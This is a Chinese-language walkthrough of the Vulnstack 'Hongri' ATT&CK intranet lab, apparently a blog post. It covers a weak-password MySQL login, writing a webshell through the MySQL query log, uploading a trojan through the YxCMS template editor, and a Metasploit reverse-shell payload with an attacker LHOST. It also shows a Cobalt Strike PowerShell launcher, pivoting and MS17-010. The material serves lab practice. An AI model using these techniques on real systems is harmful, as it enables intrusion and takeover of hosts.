红日ATT&CK内网练习
红日ATT&CK内网靶场练习
一、环境搭建
简单网络拓扑图如下:
红日靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
Windows 7的网卡配置:
Windows Server 2003的网卡配置:
Windows Server 2008的网卡配置:
这里我将win7的nat模式换成了桥接模式,因为朋友懒得下靶场,但又想打靶场,所以我干脆调成桥接,而不是nat模式了。
如果使用nat模式,可能会获取不到ip,当获取不到ip的时候,将自定义的网卡放到nat模式网卡上面即可.
二、实操1 — 拿下Web服务器权限
0x01. 网站首页
打开页面,发现是一个php探针的一个页面。
可以看到网站的绝对路径、服务器中间件详细信息、使用的数据库类型等敏感信息
拉到最下面可以看到有一个测试数据库连接的地方
随手猜一下弱口令 用户名root、密码root,点击Mysql检测,弹窗 -> 连接到Mysql数据库正常
那么换一个密码试试回显是否一样,这时候就无法连接到Mysql数据库了,那么得知数据库的账号密码为 root root
知道了数据库和密码,此时打开Navicat尝试进行连接该数据库,但是却提示无法连接到数据库
回到web页面再试试将地址改为192.168.1.12,用户名和密码都为root,进行Mysql检测,结果一目了然,限制了只能本地登录数据库,第一个点失败。
还得是老老实实进行信息搜集。
0x02. 信息搜集
使用nmap或者是masscan简单扫一下端口,却发现只开放了80和3306端口,一个是http服务一个是mysql,mysql已经拉闸了。
Chrome的Wappalyzer插件也没识别出来什么有用的信息,复现中间件等服务是最麻烦的,所以暂不打算去找相关版本是否存在漏洞.
使用 dirsearch + dirmap 一起扫一下目录(在平时渗透中已经习惯这两者结合使用了,效果很棒,属于是难兄难弟互帮互助hhh.)
目录扫描的结果可以看到,靶机搭建了phpmyadmin,还有一个3mb大小的benfen.rar压缩文件,从名字也能看出来是网站源码备份了,通常在目录扫描中扫出来的rar有极大可能是网站源码或备份源码。
看见代码就有点头疼,先将rar下载下来,放在一边让它凉快一下,此时去访问一下靶机上的phpmyadmin页面,正好前面猜到了MySQL的用户名和密码,尝试登陆一下。
0x03. 信息利用
1.写入一句话木马
尝试用一开始测试出来的弱口令登陆phpmyadmin
不出所料,成功登陆进入站点,既然用户名是root,那么就去查一查当前用户权限是否真的为root,SQL查询当前用户语句:select user()
在php探针页面,可以看到靶机web的绝对路径,现在又有了MySQL数据库的最高权限,尝试经典的写入一句话木马文件获取WebShell
这里说 “MySQL服务器正在使用–secure file priv选项运行,因此无法执行此语句”
通过sql语句:show variables like ‘%secure%’; 查询当前secure-file-priv 当前的值是什么
当前secure-file-priv的值为默认的NULL,代表禁止导出
只有通过mysql的配置文件my.ini才可以修改,所以只能另辟蹊径.
2.利用日志写shell
首先查看一下日志现在存放的位置和是否开启了记录命令
并没有开启记录命令的功能,那么手动开启一下即可,再把日志文件存放的位置切换到web目录去。
记录用户输入的命令的功能已经开启了,并且设置了日志的存放位置为web路径下的shell.php,那么现在直接执行sql语句:select ,然后再访问shell.php看看是否成功.
sql语句已经成功执行了, 现在去访问一下shell.php,看看是否存在。
页面存在,并且写入的assert()函数已经因为没有传参数报错了,那么直接上菜刀连接WebShell即可。
成功连接
3.YxCMS
菜刀连接之后,可以看到除了phpmyadmin还有一个yxcms的文件夹,这里面放的应该是网站,想起之前目录扫描出来的备份文件,打开压缩包看了一下,发现是和这个yxcms差不多的。
打开这个页面,哟呵整挺好,用户名密码,还有后台地址直接写在这里了。
现在直接登陆后台看看有什么些功能点
在后台当中,有一个后台功能,可以看到整个后台的功能分为了哪一些类,具体有什么样的操作。
来到前台模板这个位置,点击管理模板文件,可以看到这里都是一些php文件,那是否这里可以直接创建php文件呢,点击新建尝试一下。
事实证明这里是可以直接创建php文件的,直接创建一个一句话木马并且保存,但是这里没有超链接,且无返回路径。
但是既然前面把备份文件下载下来了,那么去找找备份文件里面有没有acomment.php、arightCom.php不就可以找到它的存储位置了吗。
祭出神器 Everything 快速全盘搜索一下,找到了模板文件存放位置,先访问一下acomment.php
acomment.php存在那么直接上 蚁剑 连接即可.
三、进攻内网
0x01. 内网信息搜集
1.当前权限是什么:whoami
当前权限是administrator权限,并且存在god域,省事了,不用进行提权操作了
2.当前操作系统的详细信息:systeminfo
可以看到主机操作系统是什么版本、是否是域成员机、网卡数量、ip地址等信息
3.查看ip详细信息:ipconfig /all
双网卡,有域
当我进行域信息搜集的时候却发现出毛病了,在域里面工作,却又找不到GOD的域控制器,属于是懵逼树下懵逼果,突然懵逼的就是我。
既然用shell管理工具手动搜集不行,那么我选择使用cobalt strike或者msf进行内网信息搜集。
————————————————————
flag…属于是蠢到家了…😂
————————————————————
0x02. Cobalt Strike
因为是在本机搭建的环境,所以这里teamserver我就直接使用kali linux虚拟机作为server端且不做任何cs的特征修改。
将cobalt strike4.0丢进kali linux
chmod 777 teamserver 赋予最高权限
./teamserver ipaddress password 开启teamserver服务端
新建监听,这里使用powershell上线目标主机
选择好了之后点击Launch就会生成powershell远程IEX执行的语句。
复制语句到目标服务器上运行即可上线cs,执行命令的时候可以用^来分割命令字符串,比如: w^h^o^a^m^i
运行之后发现cs上并无主机上线,并且也没有这个进程,查看所有进程之后,也灭有看到杀软,这就奇怪了。
换kali的msf生成exe木马再试试。
0x03. MSF内网信息搜集
msfconsole 进入msf
msfvenom -p windows/x64/meterpreter/reserver_tcp LHOST=192.168.1.11 LPORT=7777 -f exp.exe 生成msf的exe木马
木马生成之后,上传到靶机,同时msf开启监听模式:use exploit/multi/handler,设置payload为windows/x64/meterpreter/reverse_tcp、设置本地地址和监听的端口,然后run监听起来。
再到靶机直接运行上传的msf木马。
木马执行后,弹回了一个meterpreter到msf中。
输入getsystem获取system权限
之后将木马进程迁移一下,以免掉线:migrate -N ProcessName,进程迁移需相同位数。
通常迁移到explorer.exe资源管理器上。
** run get_local_subnets** 获取当前所有的网段
** run autoroute -s 192.168.1.0/24** 添加1.0网段到路由中
** run autoroute -s 192.168.52.0/24**添加52.0网段到路由中
添加了路由之后就可以开始进行存活主机探测了,这里使用netbios进行存活探测
这里192.168.1.0/24网段存活的主机是我的物理机和web服务器(192.168.1.12)
现在来探测192.168.52.0/24这个网段,同样使用netbios来探测
可以看到有三台主机存活,其中web服务器是192.168.52.143
其他两台则是域中的其他主机了,接下来探测一下其他两台主机的端口开放了哪些。
两台主机都开放了139和445(SMB共享服务),看到445第一时间想到的肯定是经典的MS17-010
0x04. 利用MS17-010
直接获取shell的ms17-010我始终失败了两三次,就直接用执行命令的了。
第一次执行whoami,2003版本的执行失败,换成执行ipconfig命令,立马点亮。
0X04. 补坑不CS一样的上线:MSF派生会话到cs
首先cs新建一个监听端口,msf 使用exploit/windows/local/payload_inject模块
需要设置的有payload,默认是reverse_tcp需要修改成reverse_http的payload
其次是cs服务器的地址和cs监听的端口以及指定msf当前的session,设置完选项之后run一下cs即可收到会话。
严重失误,我就说要Win7和2003、2008怎么ping不通而且手动域信息搜集都搜集不了,原来是网卡配置错误,win7是vmnet2,其他两台是vmnet1,使用msf的探测存活主机的时候才发现,最后网卡配置正确之后再进行探测就可以了,这是一次教训,我真蠢。